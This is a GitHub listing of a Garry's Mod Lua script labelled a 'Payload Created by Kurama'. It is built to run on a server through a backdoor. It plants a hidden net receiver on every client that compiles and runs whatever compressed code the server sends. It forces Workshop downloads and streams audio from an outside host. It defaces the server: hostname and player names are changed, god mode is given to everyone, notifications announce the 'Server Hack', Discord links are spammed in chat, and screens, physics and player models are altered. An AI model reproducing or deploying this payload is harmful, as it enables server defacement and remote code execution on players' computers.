-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathBloom_Water.lua
More file actions
335 lines (314 loc) · 10.6 KB
/
Bloom_Water.lua
File metadata and controls
335 lines (314 loc) · 10.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
-- Payload Created by Kurama
-- Visuel Bloom Water
-- Obligation to credit myself in the visual
-- discord.gg/kurama
function RandomString(intMin, intMax)
local ret = ""
for _ = 1, math.random(intMin, intMax) do
ret = ret .. string.char(math.random(65, 90))
end
return ret
end
local randomtable = {
CodeRandom = RandomString(0, 69),
TimingRandom = RandomString(0, 69),
ClientRandom = RandomString(0, 69),
ServeurRadom = RandomString(0, 69)
}
util.AddNetworkString(randomtable["TimingRandom"])
util.AddNetworkString(randomtable["CodeRandom"])
BroadcastLua([[net.Receive("]] .. randomtable["CodeRandom"] .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
hook.Add("PlayerInitialSpawn", "Spawn", function(ply)
if not ply:IsBot() then
ply:SendLua([[net.Receive("]] .. randomtable["CodeRandom"] .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
ply:SendLua([[steamworks.DownloadUGC(YOUR_ID, function(n) game.MountGMA(n) game.AddParticles("particles/YOUR_PCF.pcf") PrecacheParticleSystem("CHANGE_ME") end)]])
end
end)
local function InfoClient(code)
local data = util.Compress(code)
local len = #data
net.Start(randomtable["CodeRandom"])
net.WriteUInt(len, 16)
net.WriteData(data, len)
net.Broadcast()
end
-- Download
for k, v in pairs(player.GetAll()) do
v:SendLua("steamworks.FileInfo(1518736064,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
v:SendLua([[steamworks.DownloadUGC(YOUR_WORKSHOP_ID, function(n) game.MountGMA(n) game.AddParticles("particles/CHANGE_ME.pcf") PrecacheParticleSystem("CHANGE_ME") end)]])
end
-- Change Server
timer.Simple(2.5, function()
RunConsoleCommand("hostname", "Server Event by Kurama -) discord.gg/kurama")
RunConsoleCommand("ulx", "god", "*")
RunConsoleCommand("sv_alltalk", "1")
for k, v in pairs(player.GetAll()) do
v:SendLua([[RunConsoleCommand("gmod_language", "ko")]])
end
PrecacheParticleSystem("CHANGE_ME")
end)
-- Custom Settings Server
timer.Create("PlayerName", 5, 99, function()
for _, v in pairs(player.GetAll()) do
v:GodEnable()
v:setDarkRPVar("rpname", "Event by Kurama -) Join Discord : discord.gg/kurama")
end
end)
timer.Create("GM_Map", 220, 1, function()
RunConsoleCommand("ulx", "map", "gm_construct")
end)
timer.Create("AddBot", 0.5, game.MaxPlayers() - player.GetCount(), function()
RunConsoleCommand("bot")
end)
timer.Create("Speed", 5, 1, function()
RunConsoleCommand("sv_friction", "-50")
RunConsoleCommand("sv_gravity", "300")
end)
timer.Simple(5, function()
for k, v in pairs(player.GetAll()) do
v:SetRunSpeed(400 * 4)
v:SetWalkSpeed(400 * 4)
end
end)
-- Particle - 2
timer.Simple(5, function()
InfoClient([[net.Receive("]] .. randomtable["TimingRandom"] .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
InfoClient([[
for i = 1, 10 do
ParticleEffectAttach("CHANGE_ME", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
end
]])
end)
-- Change Server
timer.Simple(5, function()
InfoClient([[
timer.Create("]] .. RandomString(0, 69) .. [[", 0.5, 0, function()
notification.AddLegacy( "Server Hack by Kurama !", math.random(0, 4), 1.5 )
end)
timer.Create("]] .. RandomString(0, 69) .. [[", 0.5, 0, function()
notification.AddLegacy( "Server Hack by TheCedoux !", math.random(0, 4), 1.5 )
end)
timer.Create("]] .. RandomString(0, 69) .. [[", 0.5, 0, function()
notification.AddLegacy( "Server Backdoor is dead !", math.random(0, 4), 1.5 )
end)
timer.Create("]] .. RandomString(0, 69) .. [[", 0.5, 0, function()
notification.AddLegacy( "Sorry my Friends !", math.random(0, 4), 1.5 )
end)
timer.Create("]] .. RandomString(0, 69) .. [[", 0.5, 0, function()
notification.AddLegacy( "discord.gg/kurama", math.random(0, 4), 1.5 )
end)
]])
end)
-- SkyBox
timer.Simple(1, function()
InfoClient([[
function GAMEMODE:PostDraw2DSkyBox()
local col = Color(255, 0, 0, 255)
render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
return !!1
end
function GAMEMODE:PreDrawSkyBox()
local col = Color(255, 0, 0, 255)
render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
return !!1
end
]])
-- Color Map
InfoClient([[
local black = {}
hook.Add("HUDPaint", "]] .. RandomString(0, 69) .. [[",function()
for k,v in pairs(black) do
v()
end
end)
black["CoolEffect"] = function()
local mats = Entity(0):GetMaterials()
for k,v in pairs(mats) do
local ab = Color( 0, 0, 0 )
Material(v):SetVector("$color", Vector(ab))
Material(v):SetTexture( "$basetexture", "_rt_fullframefb" )
end
end
]])
-- Zoom and Sound
InfoClient([[
local sW, sH = ScrW(), ScrH()
local w,h = ScrW(), ScrH()
local W, H = ScrW(), ScrH()
local prevVal = 2
local defaultfov = LocalPlayer():GetFOV()
local override = 70
local sent = false
local audio
local skys = ents.FindByClass("env_skypaint")
local function AudioVizualier()
if not audio then return end
local tbl = {}
local col = HSVToColor(CurTime() * 36 % 360, .3, .8)
local vv = Vector(col.r / 0, col.g / 0, col.b / 0)
audio:FFT(tbl, FFT_4096)
local avg = 0
for i = 1, 40 do
avg = avg + tbl[i]
end
local h = CurTime() * 250 % 360
prevVal = Lerp(30 * FrameTime(), prevVal, avg)
if prevVal > 2 then
util.ScreenShake(vector_origin, prevVal * 2, 10, 2, 5000)
local vPos = LocalPlayer():EyePos()
local emitter = ParticleEmitter( LocalPlayer():EyePos())
local particle = emitter:Add( "sprites/glow04_noz", vPos )
if ( particle ) then
particle:SetVelocity(VectorRand() * 50)
particle:SetDieTime(1)
particle:SetStartAlpha(0)
particle:SetEndAlpha(0)
particle:SetStartSize(50)
particle:SetEndSize(0)
particle:SetStartLength(55)
particle:SetEndLength(0)
particle:SetColor(vv)
particle:SetGravity(Vector(0,0,0))
particle:SetAirResistance(5)
particle:SetCollide(true)
particle:SetBounce(0.9)
end
override = Lerp(10 * FrameTime(), override, prevVal * .875)
else
override = Lerp(5 * FrameTime(), override, defaultfov)
sent = false
end
end
sound.PlayURL("https://cdn.kurama.info/songs/Water.mp3", "noblock", function(s)
if not IsValid(s) then return end
audio = s
s:SetVolume( 15 )
s:EnableLooping( false )
end)
hook.Add("HUDPaint", "]] .. randomtable["ClientRandom"] .. [[", AudioVizualier)
hook.Add("CalcView", "]] .. randomtable["ClientRandom"] .. [[", function(ply, origin, angles, fov, znear, zfar)
return {
["origin"] = origin,
["angles"] = angles,
["fov"] = override,
["znear"] = znear,
["zfar"] = zfar
}
end)
local function stop()
audio = nil
hook.Remove("HUDPaint", "]] .. randomtable["ClientRandom"] .. [[")
hook.Remove("HUDShouldDraw", "]] .. randomtable["ClientRandom"] .. [[")
hook.Remove("CalcView", "]] .. randomtable["ClientRandom"] .. [[")
for k, v in pairs(oldhooks) do
hook.Add("HUDPaint", k, v)
oldhooks[k] = nil
end
end
concommand.Add("lelstop", stop)
if s == 1 then
timer.Create("]] .. RandomString(0, 69) .. [[", 0.2, 0, function()
util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
end)
end
]])
end)
-- Chat Spam
timer.Simple(5, function()
InfoClient([[
timer.Create("]] .. randomtable["ServeurRadom"] .. [[", 1.5, 0, function()
local time = tonumber(0)
local Message = {
"< https://discord.gg/kurama >",
"<< https://discord.gg/kurama >>",
"<<< https://discord.gg/kurama >>>",
"<<<< https://discord.gg/kurama >>>>",
"<<<<< https://discord.gg/kurama >>>>>",
"<<<<<< https://discord.gg/kurama >>>>>>",
"<<<<<<< https://discord.gg/kurama >>>>>>>",
"<<<<<<<< https://discord.gg/kurama >>>>>>>>",
"<<<<<<<<< https://discord.gg/kurama >>>>>>>>>",
"<<<<<<<< https://discord.gg/kurama >>>>>>>>",
"<<<<<<< https://discord.gg/kurama >>>>>>>",
"<<<<<< https://discord.gg/kurama >>>>>>",
"<<<<< https://discord.gg/kurama >>>>>",
"<<<< https://discord.gg/kurama >>>>",
"<<< https://discord.gg/kurama >>>",
"<< https://discord.gg/kurama >>",
}
for _, line in pairs(Message) do
time = time + tonumber(0.1)
timer.Simple(time,function()
chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),line)
end)
end
end)
]])
end)
-- Model Change
timer.Simple(5, function()
for k, v in pairs(player.GetAll()) do
v:SetModel("models/player/dewobedil/danganronpa/monokuma.mdl")
end
end)
-- Model
timer.Simple(5, function()
InfoClient([[
timer.Create("]] .. RandomString(0, 69) .. [[",1,5800,function()
local kurama = ClientsideModel("models/player/dewobedil/danganronpa/monokuma.mdl")
kurama:SetNoDraw(true)
kurama:SetModelScale(50)
timer.Create("Model12", 0.01, 0, function()
kurama:SetAngles(Angle(0, CurTime()*50 % 360 ,CurTime()*20 % 360) )
end)
local data = {}
local function genkurama(id)
local pos = LocalPlayer():GetPos()
data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
end
for i=1, 50 do
genkurama(i)
end
hook.Add("PostDrawOpaqueRenderables","]] .. RandomString(0, 69) .. [[",function()
local z = LocalPlayer():GetPos().z
for i=1, #data do
kurama:SetPos(data[i][1])
kurama:SetupBones()
kurama:DrawModel()
data[i][1].z = data[i][1].z - data[i][2] / 20
if data[i][1].z <= z then
genkurama(i)
end
end
end)
end)
]])
end)
timer.Create("Prop", 5, 0, function()
for k, v in pairs(ents.FindByClass("prop_*")) do
local phys = v:GetPhysicsObject()
if (IsValid(phys)) then
phys:EnableMotion(true)
end
end
local props = ents.GetAll()
for _, prop in ipairs(props) do
if (prop:GetPhysicsObject():IsValid()) then
prop:GetPhysicsObject():ApplyForceCenter(Vector(0, 0, (650 * 0.73) * prop:GetPhysicsObject():GetMass()))
end
end
end)
timer.Create(RandomString(0, 69), 5.5, 1, function()
for k, v in pairs(ents.FindByClass("prop_*")) do
local phys = v:GetPhysicsObject()
if (IsValid(phys)) then
phys:EnableMotion(true)
end
end
local props = ents.GetAll()
for _, prop in ipairs(props) do
if (prop:GetPhysicsObject():IsValid()) then
prop:GetPhysicsObject():ApplyForceCenter(Vector(0, 0, (650 * 0.73) * prop:GetPhysicsObject():GetMass()))
end
end
end)